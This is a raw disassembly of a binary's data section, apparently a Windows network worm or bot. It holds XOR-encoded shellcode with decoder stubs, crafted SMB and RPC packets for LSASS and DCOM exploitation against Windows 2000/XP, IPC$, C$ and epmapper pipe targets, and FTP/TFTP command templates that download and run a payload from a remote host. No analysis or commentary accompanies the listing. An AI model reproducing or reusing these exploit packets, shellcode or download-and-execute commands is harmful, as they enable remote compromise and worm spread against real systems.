6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 8 unk_424608 db 2 ; DATA XREF: sub_4024D0+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 10h unk_424650 db 2 ; DATA XREF: sub_4024D0+85o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 ; --------------------------------------------------------------------------- jmp short loc_4246AA ; =============== S U B R O U T I N E ======================================= sub_42469A proc far ; CODE XREF: sub_42469A:loc_4246AAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4246A2: ; CODE XREF: sub_42469A+Cj xor byte ptr [ebx+ecx], 99h loop loc_4246A2 jmp short loc_4246AF ; --------------------------------------------------------------------------- loc_4246AA: ; CODE XREF: seg001:00424698j call near ptr sub_42469A loc_4246AF: ; CODE XREF: sub_42469A+Ej jo short loc_424713 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_424731 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_424713: ; CODE XREF: sub_42469A:loc_4246AFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_424731: ; CODE XREF: sub_42469A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_42469A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4247D8: ; DATA XREF: sub_40297A+151o ; sub_40297A+20Fo jmp short loc_4247EA ; =============== S U B R O U T I N E ======================================= sub_4247DA proc near ; CODE XREF: sub_4247DA:loc_4247EAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4247E2: ; CODE XREF: sub_4247DA+Cj xor byte ptr [edx+ecx], 99h loop loc_4247E2 jmp short loc_4247EF ; --------------------------------------------------------------------------- loc_4247EA: ; CODE XREF: seg001:loc_4247D8j call sub_4247DA loc_4247EF: ; CODE XREF: sub_4247DA+Ej jo short near ptr dword_424768+1Eh cwde cdq cdq retn sub_4247DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_424888 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40297A+102o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_424970 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_402DD1+7Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_424A00 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DD1+AAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_424AB0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DD1+CFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_424B90 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_40297A+87o unicode 0, <C$>,0 a????? db '?????',0 dd 2 dup(0) dword_424BF8 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+2B2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_424C68 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+2DDo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_424D10 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+3C5o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_424D90 dd offset loc_401493+2 ; DATA XREF: sub_40297A+3F3o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_424E28 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+316o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_424E98 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40297A+341o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_424F10 dd 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 2 dup(0) word_424F98 dw 0AD9Dh ; DATA XREF: sub_40282F+30r ; sub_40297A+E4r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_424FD8 dd 1004600h ; sub_40297A+242r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_425090 dd 0A0D7325h, 0 ; sub_4036D2+102o ... aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e' ; DATA XREF: sub_40282F+A4o db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0 ; --------------------------------------------------------------------------- loc_4250FC: ; DATA XREF: sub_40297A+172o ; sub_403833+178o jmp short loc_425104 ; --------------------------------------------------------------------------- jmp short loc_425106 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_425104: ; CODE XREF: seg001:loc_4250FCj ; DATA XREF: sub_40297A+27o ... pop esp pop esp loc_425106: ; CODE XREF: seg001:004250FEj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_425110 dd 1CEC8166h ; sub_403833+Dr dword_425114 dd 0E4FF07h ; sub_403833+16r dword_425118 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4033B6+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_425168 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_403166+120o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4254CC dd 20h, 0 dd 20h, 5C005Ch, 0 off_4254E0 dd offset aSusan ; DATA XREF: sub_403166+15Ao ; "susan" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_425520 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_403166+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_425630 dd 18759Fh dword_425634 dd 100139Dh asc_425638: ; DATA XREF: sub_402FCD+1Co ; sub_4030B0+16o unicode 0, <\\>,0 align 10h aIpc: ; DATA XREF: sub_402FCD+Co ; sub_4030B0+Bo unicode 0, <\IPC$>,0 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033B6+41o align 10h jmp short loc_425672 ; =============== S U B R O U T I N E ======================================= sub_425662 proc far ; CODE XREF: sub_425662:loc_425672p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_42566A: ; CODE XREF: sub_425662+Cj xor byte ptr [ebx+ecx], 99h loop loc_42566A jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425672: ; CODE XREF: seg001:00425660j call near ptr sub_425662 loc_425677: ; CODE XREF: sub_425662+Ej jo short loc_4256DB cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_4256F9 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_4256DB: ; CODE XREF: sub_425662:loc_425677j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_4256F9: ; CODE XREF: sub_425662+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_425662 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4257A0: ; DATA XREF: sub_403833+157o ; sub_403833+214o jmp short loc_4257B2 ; =============== S U B R O U T I N E ======================================= sub_4257A2 proc near ; CODE XREF: sub_4257A2:loc_4257B2p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4257AA: ; CODE XREF: sub_4257A2+Cj xor byte ptr [edx+ecx], 99h loop loc_4257AA jmp short loc_4257B7 ; --------------------------------------------------------------------------- loc_4257B2: ; CODE XREF: seg001:loc_4257A0j call sub_4257A2 loc_4257B7: ; CODE XREF: sub_4257A2+Ej jo short near ptr dword_425730+1Eh cwde cdq cdq retn sub_4257A2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_425850 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403833+106o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_425938 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403C74+85o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_4259C8 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C74+B1o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_425A78 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C74+D8o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_425B58 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+59o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_403833+8Bo unicode 0, <C$>,0 a?????_0 db '?????',0 align 10h dword_425BC0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+2ACo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_425C30 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+2D3o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_425CD8 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+3B2o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_425D58 dd offset loc_401493+2 ; DATA XREF: sub_403833+3E0o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd offset loc_407078+4 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_425DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+308o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_425E60 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403833+333o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_425ED8 dd 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_425F98 dd 1004600h ; sub_403833+247r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4036D2+BEo ; sub_40514F+9Do db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036D2+97o aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_4040E5+B2o align 4 dword_4260DC dd 10FF8h, 0 dword_4260E4 dd 10FF8h dword_4260E8 dd 7FFDF020h, 0 dword_4260F0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_426178 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4261A8 dd 0 dd 800000D4h, 2 dup(0) unk_4261B8 db 81h ; ; DATA XREF: sub_4045DE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 2 dup(0) byte_426208 db 41h ; DATA XREF: sub_40467C+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_426250 proc near ; DATA XREF: seg001:00404956o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_42634C push dword ptr [esi] push 63D61209h call sub_426362 mov [esi+8], eax call sub_426315 push dword ptr [esi+4] push 0CA2BD06Bh call sub_426362 mov [esi+0Ch], eax call sub_4262C7 push dword ptr [esi+4] push 4C0297FAh call sub_426362 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_426250 endp ; =============== S U B R O U T I N E ======================================= sub_4262C7 proc near ; CODE XREF: sub_426250+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call 